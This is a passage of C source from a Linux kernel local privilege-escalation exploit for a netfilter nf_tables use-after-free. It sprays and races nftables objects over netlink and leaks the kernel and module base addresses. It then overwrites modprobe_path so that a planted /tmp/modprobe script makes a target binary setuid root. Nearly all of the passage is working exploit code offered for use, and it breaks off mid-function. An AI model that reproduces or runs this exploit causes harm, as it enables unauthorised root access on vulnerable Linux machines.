mnl_nlmsg_batch_start(mnl_batch_buffer, mnl_batch_limit); 1286 | 1287 | nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); 1288 | table_seq = seq; 1289 | mnl_nlmsg_batch_next(batch); 1290 | 1291 | append_del_rule(batch, seq++, NFPROTO_INET, "testfirewall", pwn_log_chain, uaf_log_handle); 1292 | 1293 | for (int spray = 2; spray < 15; spray += 3) { 1294 | char *obj_name; 1295 | asprintf(&obj_name, "uaf_obj_%04hx_", (uaf_obj_serial + spray) % 0x40); 1296 | append_del_obj(batch, seq++, NFPROTO_INET, "testfirewall", obj_name); 1297 | } 1298 | 1299 | nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); 1300 | mnl_nlmsg_batch_next(batch); 1301 | 1302 | portid = mnl_socket_get_portid(nl); 1303 | 1304 | if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), 1305 | mnl_nlmsg_batch_size(batch)) < 0) { 1306 | err(1, "Cannot into mnl_socket_sendto()"); 1307 | } 1308 | 1309 | mnl_nlmsg_batch_stop(batch); 1310 | 1311 | while (table_seq + 1 != seq) { 1312 | ret = mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit); 1313 | if (ret <= 0) 1314 | break; 1315 | ret = mnl_cb_run(mnl_batch_buffer, ret, table_seq, portid, NULL, NULL); 1316 | if (ret < 0) 1317 | break; 1318 | table_seq++; 1319 | } 1320 | if (ret == -1) { 1321 | err(1, "Cannot into mnl_socket_recvfrom()"); 1322 | } 1323 | } 1324 | 1325 | 1326 | char uaf_obj_userdata[uaf_chunk_size]; 1327 | int uaf_obj_userdata_valid = 0; 1328 | 1329 | 1330 | static int pwn_uaf_dump_obj_cb(const struct nlmsghdr *nlh, void *data) 1331 | { 1332 | struct nftnl_obj *obj = nftnl_obj_alloc(); 1333 | if (obj == NULL) { 1334 | errx(1, "Cannot into nftnl_obj_alloc()"); 1335 | } 1336 | 1337 | if (nftnl_obj_nlmsg_parse(nlh, obj) < 0) { 1338 | errx(1, "Cannot into nftnl_obj_nlmsg_parse()"); 1339 | } 1340 | 1341 | uint32_t userdata_len; 1342 | const void *userdata = nftnl_obj_get_data(obj, NFTNL_OBJ_USERDATA, &userdata_len); 1343 | 1344 | hex_dump(userdata, userdata_len); 1345 | if (userdata_len == sizeof(uaf_obj_userdata)) { 1346 | memcpy(uaf_obj_userdata, userdata, sizeof(uaf_obj_userdata)); 1347 | uaf_obj_userdata_valid = 1; 1348 | } 1349 | 1350 | nftnl_obj_free(obj); 1351 | 1352 | return MNL_CB_OK; 1353 | } 1354 | 1355 | 1356 | static void pwn_uaf_dump_obj(struct mnl_socket *nl) 1357 | { 1358 | uint32_t portid, seq; 1359 | int ret; 1360 | 1361 | char *obj_name; 1362 | asprintf(&obj_name, "uaf_obj_%04hx_", uaf_obj_serial); 1363 | 1364 | printf("pwn_uaf_dump_obj %s\n", obj_name); 1365 | 1366 | seq = time(NULL); 1367 | 1368 | struct nftnl_obj *obj = nftnl_obj_alloc(); 1369 | if (obj == NULL) { 1370 | errx(1, "Cannot into nftnl_obj_alloc()"); 1371 | } 1372 | 1373 | nftnl_obj_set_u32(obj, NFTNL_OBJ_FAMILY, NFPROTO_INET); 1374 | nftnl_obj_set_str(obj, NFTNL_OBJ_TABLE, "testfirewall"); 1375 | nftnl_obj_set_str(obj, NFTNL_OBJ_NAME, obj_name); 1376 | nftnl_obj_set_u32(obj, NFTNL_OBJ_TYPE, NFT_OBJECT_COUNTER); 1377 | 1378 | struct nlmsghdr *nlh = nftnl_nlmsg_build_hdr( 1379 | mnl_batch_buffer, 1380 | NFT_MSG_GETOBJ, 1381 | NFPROTO_INET, 1382 | NLM_F_ACK, 1383 | seq 1384 | ); 1385 | nftnl_obj_nlmsg_build_payload(nlh, obj); 1386 | nftnl_obj_free(obj); 1387 | 1388 | portid = mnl_socket_get_portid(nl); 1389 | 1390 | if (mnl_socket_sendto(nl, nlh, nlh->nlmsg_len) < 0) { 1391 | err(1, "Cannot into mnl_socket_sendto()"); 1392 | } 1393 | 1394 | ret = mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit); 1395 | while (ret > 0) { 1396 | ret = mnl_cb_run(mnl_batch_buffer, ret, seq, portid, pwn_uaf_dump_obj_cb, NULL); 1397 | if (ret <= 0) 1398 | break; 1399 | ret = mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit); 1400 | } 1401 | if (ret == -1) { 1402 | err(1, "Cannot into mnl_socket_recvfrom()"); 1403 | } 1404 | } 1405 | 1406 | 1407 | static void pwn_uaf_del_obj(struct mnl_socket *nl, char *obj_name_fmt, int serial) 1408 | { 1409 | struct mnl_nlmsg_batch *batch; 1410 | uint32_t portid, seq, table_seq; 1411 | int ret; 1412 | 1413 | printf("pwn_uaf_del_obj %s %x\n", obj_name_fmt, serial); 1414 | 1415 | seq = time(NULL); 1416 | batch = mnl_nlmsg_batch_start(mnl_batch_buffer, mnl_batch_limit); 1417 | 1418 | nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); 1419 | table_seq = seq; 1420 | mnl_nlmsg_batch_next(batch); 1421 | 1422 | for (int spray = 0; spray < 15; spray += 3) { 1423 | char *obj_name; 1424 | asprintf(&obj_name, obj_name_fmt, (serial + spray) % 0x40); 1425 | append_del_obj(batch, seq++, NFPROTO_INET, "testfirewall", obj_name); 1426 | } 1427 | 1428 | nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); 1429 | mnl_nlmsg_batch_next(batch); 1430 | 1431 | portid = mnl_socket_get_portid(nl); 1432 | 1433 | if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), 1434 | mnl_nlmsg_batch_size(batch)) < 0) { 1435 | err(1, "Cannot into mnl_socket_sendto()"); 1436 | } 1437 | 1438 | mnl_nlmsg_batch_stop(batch); 1439 | 1440 | while (table_seq + 1 != seq) { 1441 | ret = mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit); 1442 | if (ret <= 0) 1443 | break; 1444 | ret = mnl_cb_run(mnl_batch_buffer, ret, table_seq, portid, NULL, NULL); 1445 | if (ret < 0) 1446 | break; 1447 | table_seq++; 1448 | } 1449 | if (ret == -1) { 1450 | err(1, "Cannot into mnl_socket_recvfrom()"); 1451 | } 1452 | } 1453 | 1454 | 1455 | static void pwn_read_new_obj(struct mnl_socket *nl, uint64_t addr) 1456 | { 1457 | uint32_t portid, seq, table_seq; 1458 | int ret; 1459 | 1460 | printf("pwn_read_new_obj %lx\n", addr); 1461 | 1462 | seq = time(NULL); 1463 | struct mnl_nlmsg_batch *batch = mnl_nlmsg_batch_start(mnl_batch_buffer, mnl_batch_limit); 1464 | 1465 | nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); 1466 | table_seq = seq; 1467 | mnl_nlmsg_batch_next(batch); 1468 | 1469 | for (int spray = 0; spray < 0x40; ++ spray) { 1470 | char *obj_name; 1471 | asprintf(&obj_name, "read_obj_%04hx_", spray); 1472 | 1473 | char obj_userdata[uaf_chunk_size]; 1474 | memcpy(obj_userdata, uaf_obj_userdata, sizeof(obj_userdata)); 1475 | memcpy(obj_userdata + 0x14, obj_name, strlen(obj_name)); 1476 | * (uint64_t *) (obj_userdata + 0x68) = 0xffffffffffffffff; 1477 | * (uint64_t *) (obj_userdata + 0x78) = addr; 1478 | 1479 | append_new_obj(batch, seq++, NFPROTO_INET, "testfirewall", obj_name, obj_userdata, sizeof(obj_userdata)); 1480 | } 1481 | 1482 | nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); 1483 | mnl_nlmsg_batch_next(batch); 1484 | 1485 | portid = mnl_socket_get_portid(nl); 1486 | 1487 | if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), 1488 | mnl_nlmsg_batch_size(batch)) < 0) { 1489 | err(1, "Cannot into mnl_socket_sendto()"); 1490 | } 1491 | 1492 | mnl_nlmsg_batch_stop(batch); 1493 | 1494 | while (table_seq + 1 != seq) { 1495 | ret = mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit); 1496 | if (ret <= 0) 1497 | break; 1498 | ret = mnl_cb_run(mnl_batch_buffer, ret, table_seq, portid, NULL, NULL); 1499 | if (ret < 0) 1500 | break; 1501 | table_seq++; 1502 | } 1503 | if (ret == -1) { 1504 | err(1, "Cannot into mnl_socket_recvfrom()"); 1505 | } 1506 | } 1507 | 1508 | 1509 | int read_obj_serial = -1; 1510 | uint64_t read_quota_consumed = 0; 1511 | 1512 | 1513 | static int pwn_read_dump_set_elem_cb_elem(struct nftnl_expr *expr, void *data) 1514 | { 1515 | struct nftnl_set_elem *set_elem = data; 1516 | 1517 | const char *name = nftnl_expr_get_str(expr, NFTNL_EXPR_NAME); 1518 | if (strcmp(name, "quota") == 0) { 1519 | uint64_t bytes = nftnl_expr_get_u64(expr, NFTNL_EXPR_QUOTA_BYTES); 1520 | if (bytes == 0xffffffffffffffff) { 1521 | uint32_t set_elem_key_len = -1; 1522 | const void *set_elem_key = nftnl_set_elem_get(set_elem, NFTNL_SET_ELEM_KEY, &set_elem_key_len); 1523 | 1524 | printf("\nread expr:"); 1525 | hex_dump(set_elem_key, set_elem_key_len); 1526 | 1527 | nftnl_expr_fprintf(stdout, expr, NFTNL_OUTPUT_DEFAULT, 0); 1528 | printf("\n"); 1529 | 1530 | int serial = -1; 1531 | int res = sscanf(set_elem_key, "read_obj_%x_", &serial); 1532 | if (res == 1) { 1533 | read_obj_serial = serial; 1534 | read_quota_consumed = nftnl_expr_get_u64(expr, NFTNL_EXPR_QUOTA_CONSUMED); 1535 | } 1536 | } 1537 | } 1538 | 1539 | return MNL_CB_OK; 1540 | } 1541 | 1542 | 1543 | static int pwn_read_dump_set_elem_cb(const struct nlmsghdr *nlh, void *data) 1544 | { 1545 | struct nftnl_set *set = nftnl_set_alloc(); 1546 | if (set == NULL) { 1547 | errx(1, "Cannot into nftnl_set_alloc()"); 1548 | } 1549 | 1550 | if (nftnl_set_elems_nlmsg_parse(nlh, set) < 0) { 1551 | errx(1, "Cannot into nftnl_set_elems_nlmsg_parse()"); 1552 | } 1553 | 1554 | struct nftnl_set_elems_iter *set_elems_iter = nftnl_set_elems_iter_create(set); 1555 | while (1) { 1556 | struct nftnl_set_elem *set_elem = nftnl_set_elems_iter_next(set_elems_iter); 1557 | if (set_elem == NULL) 1558 | break; 1559 | 1560 | nftnl_set_elem_expr_foreach(set_elem, pwn_read_dump_set_elem_cb_elem, set_elem); 1561 | } 1562 | nftnl_set_elems_iter_destroy(set_elems_iter); 1563 | 1564 | nftnl_set_free(set); 1565 | 1566 | return MNL_CB_OK; 1567 | } 1568 | 1569 | 1570 | static void pwn_read_dump_set_elem(struct mnl_socket *nl) 1571 | { 1572 | uint32_t portid, seq; 1573 | int ret; 1574 | 1575 | printf("pwn_read_dump_set_elem\n"); 1576 | 1577 | struct nftnl_set *set = NULL; 1578 | 1579 | set = nftnl_set_alloc(); 1580 | if (set == NULL) { 1581 | errx(1, "Cannot into nftnl_set_alloc()"); 1582 | } 1583 | 1584 | seq = time(NULL); 1585 | struct nlmsghdr *nlh = nftnl_nlmsg_build_hdr( 1586 | mnl_batch_buffer, 1587 | NFT_MSG_GETSETELEM, 1588 | NFPROTO_INET, 1589 | NLM_F_DUMP | NLM_F_ACK, 1590 | seq 1591 | ); 1592 | nftnl_set_set_str(set, NFTNL_SET_NAME, pwn_dynset_set); 1593 | nftnl_set_set_str(set, NFTNL_SET_TABLE, "testfirewall"); 1594 | nftnl_set_elems_nlmsg_build_payload(nlh, set); 1595 | nftnl_set_free(set); 1596 | 1597 | portid = mnl_socket_get_portid(nl); 1598 | 1599 | if (mnl_socket_sendto(nl, nlh, nlh->nlmsg_len) < 0) { 1600 | err(1, "Cannot into mnl_socket_sendto()"); 1601 | } 1602 | 1603 | ret = mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit); 1604 | while (ret > 0) { 1605 | ret = mnl_cb_run(mnl_batch_buffer, ret, seq, portid, pwn_read_dump_set_elem_cb, NULL); 1606 | if (ret <= 0) 1607 | break; 1608 | ret = mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit); 1609 | } 1610 | if (ret == -1) { 1611 | err(1, "Cannot into mnl_socket_recvfrom()"); 1612 | } 1613 | } 1614 | 1615 | 1616 | static void pwn_write_new_obj(struct mnl_socket *nl, uint64_t addr) 1617 | { 1618 | uint32_t portid, seq, table_seq; 1619 | int ret; 1620 | 1621 | printf("pwn_write_new_obj %lx\n", addr); 1622 | 1623 | seq = time(NULL); 1624 | struct mnl_nlmsg_batch *batch = mnl_nlmsg_batch_start(mnl_batch_buffer, mnl_batch_limit); 1625 | 1626 | nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); 1627 | table_seq = seq; 1628 | mnl_nlmsg_batch_next(batch); 1629 | 1630 | for (int spray = 0; spray < 0x40; ++ spray) { 1631 | char *obj_name; 1632 | asprintf(&obj_name, "write_obj_%04hx_", spray); 1633 | 1634 | char obj_userdata[uaf_chunk_size]; 1635 | memcpy(obj_userdata, uaf_obj_userdata, sizeof(obj_userdata)); 1636 | * (uint64_t *) (obj_userdata + 0x68) = 0xffffffffffffffff; 1637 | * (uint64_t *) (obj_userdata + 0x78) = addr; 1638 | 1639 | append_new_obj(batch, seq++, NFPROTO_INET, "testfirewall", obj_name, obj_userdata, sizeof(obj_userdata)); 1640 | } 1641 | 1642 | nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); 1643 | mnl_nlmsg_batch_next(batch); 1644 | 1645 | portid = mnl_socket_get_portid(nl); 1646 | 1647 | if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), 1648 | mnl_nlmsg_batch_size(batch)) < 0) { 1649 | err(1, "Cannot into mnl_socket_sendto()"); 1650 | } 1651 | 1652 | mnl_nlmsg_batch_stop(batch); 1653 | 1654 | while (table_seq + 1 != seq) { 1655 | ret = mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit); 1656 | if (ret <= 0) 1657 | break; 1658 | ret = mnl_cb_run(mnl_batch_buffer, ret, table_seq, portid, NULL, NULL); 1659 | if (ret < 0) 1660 | break; 1661 | table_seq++; 1662 | } 1663 | if (ret == -1) { 1664 | err(1, "Cannot into mnl_socket_recvfrom()"); 1665 | } 1666 | } 1667 | 1668 | 1669 | static int pwn_main() 1670 | { 1671 | int res; 1672 | 1673 | int sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); 1674 | struct sockaddr_in addr; 1675 | memset(&addr, 0, sizeof(addr)); 1676 | addr.sin_family = AF_INET; 1677 | addr.sin_port = htons(1337); 1678 | addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK); 1679 | 1680 | struct mnl_socket *nl = mnl_socket_open(NETLINK_NETFILTER); 1681 | if (nl == NULL) { 1682 | err(1, "Cannot into mnl_socket_open()"); 1683 | } 1684 | 1685 | if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0) { 1686 | err(1, "Cannot into mnl_socket_bind()"); 1687 | } 1688 | 1689 | memset(log_prefix, 'A', sizeof(log_prefix)); 1690 | log_prefix[uaf_chunk_size - 2] = 0; 1691 | 1692 | pwn_prepare(nl); 1693 | 1694 | usleep(cfg_initial_usleep); 1695 | 1696 | pwn_uaf_spray(nl); 1697 | 1698 | pwn_delay_spray_set(nl); 1699 | uint64_t race_set_elem_key = 0; 1700 | while (race_set_elem_key < cfg_race_set_elem_count) { 1701 | pwn_delay_spray_set_elem(nl, &race_set_elem_key, cfg_race_set_elem_count); 1702 | } 1703 | 1704 | pwn_uaf_trigger(nl); 1705 | usleep(cfg_race_lead_usleep); 1706 | pwn_uaf_race(nl); 1707 | usleep(cfg_race_lag_usleep); 1708 | 1709 | pwn_uaf_new_obj(nl); 1710 | pwn_uaf_dump_rule(nl); 1711 | 1712 | if (uaf_obj_serial < 0) { 1713 | return EAGAIN; 1714 | } 1715 | 1716 | pwn_uaf_del_rule(nl); 1717 | usleep(cfg_reuse_usleep); 1718 | 1719 | for (int i = 0; i < 0x40; ++ i) { 1720 | char message[1] = { i }; 1721 | res = sendto(sock, message, sizeof(message), 0, (struct sockaddr *) &addr, sizeof(addr)); 1722 | if (res != sizeof(message)) { 1723 | err(1, "Cannot into sendto()"); 1724 | } 1725 | } 1726 | 1727 | pwn_uaf_dump_obj(nl); 1728 | 1729 | if (uaf_obj_userdata_valid != 1) { 1730 | return EAGAIN; 1731 | } 1732 | 1733 | uint64_t nf_tables_va = * (uint64_t *) (uaf_obj_userdata + 0x50); 1734 | nf_tables_va -= cfg_nft_counter_ops; 1735 | printf("\nnf_tables_va=%lx\n\n", nf_tables_va); 1736 | if ((nf_tables_va & 0xfff) != 0) { 1737 | printf("\n[!] unexpected module base %lx != 0\n", (nf_tables_va & 0xfff)); 1738 | return EAGAIN; 1739 | } 1740 | 1741 | pwn_uaf_del_obj(nl, "uaf_obj_%04hx_", uaf_obj_serial); 1742 | usleep(cfg_reuse_usleep); 1743 | 1744 | uint64_t read_addr = nf_tables_va + cfg_nft_counter_destroy + cfg_nft_counter_destroy_call_offset; 1745 | pwn_read_new_obj(nl, read_addr); 1746 | 1747 | pwn_read_dump_set_elem(nl); 1748 | 1749 | if (read_obj_serial < 0) { 1750 | return EAGAIN; 1751 | } 1752 | 1753 | int64_t read_data = read_quota_consumed; 1754 | printf("\nread_data=%lx\n", read_data); 1755 | if ((read_data & cfg_nft_counter_destroy_call_mask) != cfg_nft_counter_destroy_call_check) { 1756 | printf("\n[!] code check failure %lx != %lx\n", (read_data & cfg_nft_counter_destroy_call_mask), cfg_nft_counter_destroy_call_check); 1757 | return EAGAIN; 1758 | } 1759 | read_data >>= 0x20; 1760 | read_data += (read_addr + 8); 1761 | uint64_t kernel_va = read_data - cfg_free_percpu; 1762 | printf("\nkernel_va=%lx\n\n", kernel_va); 1763 | if ((kernel_va & 0xfff) != 0) { 1764 | printf("\n[!] unexpected kernel base %lx != 0\n", (kernel_va & 0xfff)); 1765 | return EAGAIN; 1766 | } 1767 | 1768 | pwn_uaf_del_obj(nl, "read_obj_%04hx_", read_obj_serial); 1769 | usleep(cfg_reuse_usleep); 1770 | 1771 | pwn_write_new_obj(nl, kernel_va + cfg_modprobe_path + 1); 1772 | 1773 | char sbin[0x8000]; 1774 | memcpy(sbin, uaf_obj_userdata + 0x14, 0x34); 1775 | 1776 | /* "/tmp" - "sbin" */ 1777 | int sbin_count = 33821116; 1778 | while (sbin_count != 0) { 1779 | sbin_count -= 0x1c; 1780 | size_t send_size = sbin_count; 1781 | if (send_size > sizeof(sbin)) 1782 | send_size = sizeof(sbin) - 0x1c; 1783 | sbin_count -= send_size; 1784 | res = sendto(sock, sbin, send_size, 0, (struct sockaddr *) &addr, sizeof(addr)); 1785 | if (res != send_size) { 1786 | err(1, "Cannot into sendto()"); 1787 | } 1788 | } 1789 | 1790 | return 0; 1791 | } 1792 | 1793 | 1794 | static void netdevice_up(char *name) 1795 | { 1796 | int res; 1797 | 1798 | int connection = socket(AF_INET, SOCK_STREAM, IPPROTO_IP); 1799 | if (connection == -1) { 1800 | err(1, "Cannot into socket()"); 1801 | } 1802 | 1803 | struct ifreq ifreq; 1804 | memset(&ifreq, 0, sizeof(ifreq)); 1805 | snprintf(ifreq.ifr_name, IF_NAMESIZE, "%s", name); 1806 | 1807 | res = ioctl(connection, SIOCGIFFLAGS, &ifreq); 1808 | if (res == -1) { 1809 | err(1, "Cannot into ioctl()"); 1810 | } 1811 | 1812 | ifreq.ifr_flags |= (IFF_UP | IFF_RUNNING); 1813 | 1814 | res = ioctl(connection, SIOCSIFFLAGS, &ifreq); 1815 | if (res == -1) { 1816 | err(1, "Cannot into ioctl()"); 1817 | } 1818 | 1819 | res = close(connection); 1820 | if (res != 0) { 1821 | err(1, "Cannot into close()"); 1822 | } 1823 | } 1824 | 1825 | 1826 | volatile int cpu_spinning = 1; 1827 | 1828 | 1829 | static void pwn(size_t cpu_set_size, const cpu_set_t *cpu_set, int socketfd) 1830 | { 1831 | int res; 1832 | 1833 | res = sched_setaffinity(0, cpu_set_size, cpu_set); 1834 | if (res != 0) { 1835 | err(1, "Cannot into sched_setaffinity()"); 1836 | } 1837 | 1838 | printf("[*] Putting on seatbelts\n"); 1839 | netdevice_up("lo"); 1840 | 1841 | int status = pwn_main(); 1842 | 1843 | printf("[*] Signaling status=%d to coordinator...\n", status); 1844 | res = write(socketfd, &status, sizeof(status)); 1845 | if (res != sizeof(status)) { 1846 | err(1, "Cannot into write()"); 1847 | } 1848 | 1849 | while (cpu_spinning) { 1850 | usleep(60 * 1000 * 1000); 1851 | } 1852 | } 1853 | 1854 | 1855 | /**************************************************************************** 1856 | * 1857 | * Coordinator 1858 | * 1859 | */ 1860 | 1861 | 1862 | static int clone_helper(void *ctx) 1863 | { 1864 | jmp_buf *env = ctx; 1865 | 1866 | longjmp(*env, 1); 1867 | err(1, "Cannot into pthread_attr_init()"); 1868 | return 1; 1869 | } 1870 | 1871 | 1872 | __attribute__((noinline)) 1873 | static pid_t clone_with_longjmp(unsigned long flags, jmp_buf *env) 1874 | { 1875 | char helper_stack_buffer[2 * PTHREAD_STACK_MIN + __BIGGEST_ALIGNMENT__]; 1876 | 1877 | uintptr_t helper_stack_addr = (uintptr_t) helper_stack_buffer; 1878 | helper_stack_addr += PTHREAD_STACK_MIN + __BIGGEST_ALIGNMENT__ - 1; 1879 | helper_stack_addr -= helper_stack_addr % __BIGGEST_ALIGNMENT__; 1880 | void *helper_stack = (void *) helper_stack_addr; 1881 | 1882 | pid_t pid = clone(clone_helper, helper_stack, flags, env); 1883 | if (pid == -1) { 1884 | err(1, "Cannot into clone()"); 1885 | } 1886 | 1887 | return pid; 1888 | } 1889 | 1890 | 1891 | static void *cpu_spinning_loop(void *) 1892 | { 1893 | while (cpu_spinning) { 1894 | } 1895 | 1896 | return NULL; 1897 | } 1898 | 1899 | 1900 | static void thread_create_with_affinity(pthread_t *thread, 1901 | size_t cpu_set_size, const cpu_set_t *cpu_set, 1902 | void *(*start_routine) (void *), void *arg) 1903 | { 1904 | pthread_attr_t attr; 1905 | int res; 1906 | 1907 | res = pthread_attr_init(&attr); 1908 | if (res != 0) { 1909 | err(1, "Cannot into pthread_attr_init()"); 1910 | } 1911 | res = pthread_attr_setaffinity_np(&attr, cpu_set_size, cpu_set); 1912 | if (res != 0) { 1913 | err(1, "Cannot into pthread_attr_setaffinity_np()"); 1914 | } 1915 | res = pthread_create(thread, &attr, start_routine, arg); 1916 | if (res != 0) { 1917 | err(1, "Cannot into pthread_create()"); 1918 | } 1919 | res = pthread_attr_destroy(&attr); 1920 | if (res != 0) { 1921 | err(1, "Cannot into pthread_attr_destroy()"); 1922 | } 1923 | } 1924 | 1925 | 1926 | static void pwn_helper(size_t cpu_set_size, const cpu_set_t *cpu_set, 1927 | char *target_path, char *target_argv[], char *target_envp[]) 1928 | { 1929 | int res; 1930 | 1931 | int socketfd[2]; 1932 | res = socketpair(AF_UNIX, SOCK_STREAM, 0, socketfd); 1933 | if (res != 0) { 1934 | err(1, "Cannot into socketpair()"); 1935 | } 1936 | 1937 | pid_t pwn_pid = -1; 1938 | jmp_buf env; 1939 | if (setjmp(env) == 0) { 1940 | pwn_pid = clone_with_longjmp(CLONE_NEWNS | CLONE_NEWUSER | CLONE_NEWNET | SIGCHLD, &env); 1941 | } 1942 | else { 1943 | res = close(socketfd[0]); 1944 | if (res != 0) { 1945 | err(1, "Cannot into close()"); 1946 | } 1947 | 1948 | char buf[1]; 1949 | res = read(socketfd[1], buf, sizeof(buf)); 1950 | if (res != sizeof(buf)) { 1951 | err(1, "Cannot into read()"); 1952 | } 1953 | 1954 | printf("[*] Starting PWN Worker\n"); 1955 | pwn(cpu_set_size, cpu_set, socketfd[1]); 1956 | err(1, "Unexpected return from exploit()"); 1957 | } 1958 | 1959 | res = close(socketfd[1]); 1960 | if (res != 0) { 1961 | err(1, "Cannot into close()"); 1962 | } 1963 | 1964 | umask(0022); 1965 | 1966 | printf("[*] Creating \"/tmp/modprobe\"...\n"); 1967 | char *modprobe_content; 1968 | res = asprintf(&modprobe_content, "#!/bin/sh\n\nchown 0:0 \"%s\"\nchmod 4555 \"%s\"\n", 1969 | target_path, target_path); 1970 | file_write("/tmp/modprobe", O_CREAT | O_WRONLY, 0755, 1971 | modprobe_content, res); 1972 | 1973 | printf("[*] Creating \"/tmp/trigger\"...\n"); 1974 | char trigger_content[4] = { 0xff, 0xff, 0xff, 0xff, }; 1975 | file_write("/tmp/trigger", O_CREAT | O_WRONLY, 0755, 1976 | trigger_content, sizeof(trigger_content)); 1977 | 1978 | printf("[*] Updating setgroups...\n"); 1979 | char *pwn_setgroups_path; 1980 | res = asprintf(&pwn_setgroups_path, "/proc/%d/setgroups", pwn_pid); 1981 | if (res == -1) { 1982 | err(1, "Cannot into asprintf()"); 1983 | } 1984 | char *pwn_setgroups_content = "deny"; 1985 | file_write(pwn_setgroups_path, O_WRONLY, 0, 1986 | pwn_setgroups_content, strlen(pwn_setgroups_content)); 1987 | 1988 | printf("[*] Updating uid_map...\n"); 1989 | char *pwn_uid_map_path; 1990 | res = asprintf(&pwn_uid_map_path, "/proc/%d/uid_map", pwn_pid); 1991 | if (res == -1) { 1992 | err(1, "Cannot into asprintf()"); 1993 | } 1994 | char *pwn_uid_map_content; 1995 | res = asprintf(&pwn_uid_map_content, "0 %d 1", getuid()); 1996 | if (res == -1) { 1997 | err(1, "Cannot into asprintf()"); 1998 | } 1999 | file_write(pwn_uid_map_path, O_WRONLY, 0, 2000 | pwn_uid_map_content, res); 2001 | 2002 | printf("[*] Updating gid_map...\n"); 2003 | char *pwn_gid_map_path; 2004 | res = asprintf(&pwn_gid_map_path, "/proc/%d/gid_map", pwn_pid); 2005 | if (res == -1) { 2006 | err(1, "Cannot into asprintf()"); 2007 | } 2008 | char *pwn_gid_map_content; 2009 | res = asprintf(&pwn_gid_map_content, "0 %d 1", getgid()); 2010 | if (res == -1) { 2011 | err(1, "Cannot into asprintf()"); 2012 | } 2013 | file_write(pwn_gid_map_path, O_WRONLY, 0, 2014 | pwn_gid_map_content, res); 2015 | 2016 | printf("[*] Signaling PWN Worker...\n"); 2017 | char buf[1] = {}; 2018 | res = write(socketfd[0], buf, sizeof(buf)); 2019 | if (res != sizeof(buf)) { 2020 | err(1, "Cannot into write()"); 2021 | } 2022 | 2023 | printf("[*] Waiting for PWN Worker...\n"); 2024 | int status = EFAULT; 2025 | res = read(socketfd[0], &status, sizeof(status)); 2026 | if (res != sizeof(status)) { 2027 | err(1, "Cannot into read()"); 2028 | } 2029 | printf("[*] Got status=%d from PWN Worker...\n", status); 2030 | if (status == EAGAIN) { 2031 | return; 2032 | } 2033 | 2034 | printf("[*] Checking \"cat /proc/sys/kernel/modprobe\"...\n"); 2035 | system("cat /proc/sys/kernel/modprobe"); 2036 | 2037 | system("/tmp/trigger"); 2038 | 2039 | res = execve(target_path, target_argv, target_envp); 2040 | err(1, "Cannot into execve()"); 2041 | } 2042 | 2043 | 2044 | static void exploit(char *target_path, char *target_argv[], char *target_envp[]) 2045 | { 2046 | int cpu_alloc = 0x80; 2047 | cpu_set_t *cpu_set; 2048 | size_t cpu_set_size; 2049 | int res; 2050 | 2051 | printf("[*] Netfilter UAF exploit\n\n"); 2052 | 2053 | cfg_load("profile"); 2054 | cfg_print(); 2055 | 2056 | /* see https://github.com/linux-test-project/ltp/blob/master/testcases/kernel/syscalls/getcpu/getcpu01.c */ 2057 | printf("[*] Checking for available CPUs...\n"); 2058 | while (1) { 2059 | cpu_alloc <<= 1; 2060 | cpu_set = CPU_ALLOC(cpu_alloc); 2061 | if (cpu_set == NULL) { 2062 | err(1, "Cannot into CPU_ALLOC()"); 2063 | } 2064 | cpu_set_size = CPU_ALLOC_SIZE(cpu_alloc); 2065 | 2066 | CPU_ZERO_S(cpu_set_size, cpu_set); 2067 | res = sched_getaffinity(0, cpu_set_size, cpu_set); 2068 | printf("[*] sched_getaffinity() => %d %d\n", res, errno); 2069 | if (res == 0) { 2070 | break; 2071 | } 2072 | else if (errno != EINVAL) { 2073 | err(1, "Cannot into sched_getaffinity()"); 2074 | } 2075 | } 2076 | 2077 | cpu_set_t *cpu_affinity = CPU_ALLOC(cpu_alloc); 2078 | if (cpu_affinity == NULL) { 2079 | err(1, "Cannot into CPU_ALLOC()"); 2080 | } 2081 | CPU_ZERO_S(cpu_set_size, cpu_affinity); 2082 | 2083 | int pwn_cpu = -1; 2084 | for (int cpu = 0; cpu < cpu_set_size * 8; ++ cpu) { 2085 | if (CPU_ISSET_S(cpu, cpu_set_size, cpu_set)) { 2086 | if (pwn_cpu == -1) { 2087 | pwn_cpu = cpu; 2088 | printf("[*] Reserved CPU %d for PWN Worker\n", cpu); 2089 | } 2090 | else { 2091 | pthread_t thread; 2092 | 2093 | CPU_SET_S(cpu, cpu_set_size, cpu_affinity); 2094 | thread_create_with_affinity(&thread, 2095 | cpu_set_size, 2096 | cpu_affinity, 2097 | cpu_spinning_loop, 2098 | NULL 2099 | ); 2100 | CPU_CLR_S(cpu, cpu_set_size, cpu_affinity); 2101 | printf("[*] Started cpu_spinning_loop() on CPU %d\n", cpu); 2102 | } 2103 | } 2104 | } 2105 | 2106 | CPU_SET_S(pwn_cpu, cpu_set_size, cpu_affinity); 2107 | for (int attempt = 0; attempt < 5; ++ attempt) { 2108 | pwn_helper(cpu_set_size, cpu_affinity, target_path, target_argv, target_envp); 2109 | } 2110 | 2111 | printf("\n\n[*] No ROOT for you:-(\n[*] Please reboot the machine!\n\n"); 2112 | } 2113 | 2114 | 2115 | int execve_with_setuid(char *target_argv[], char 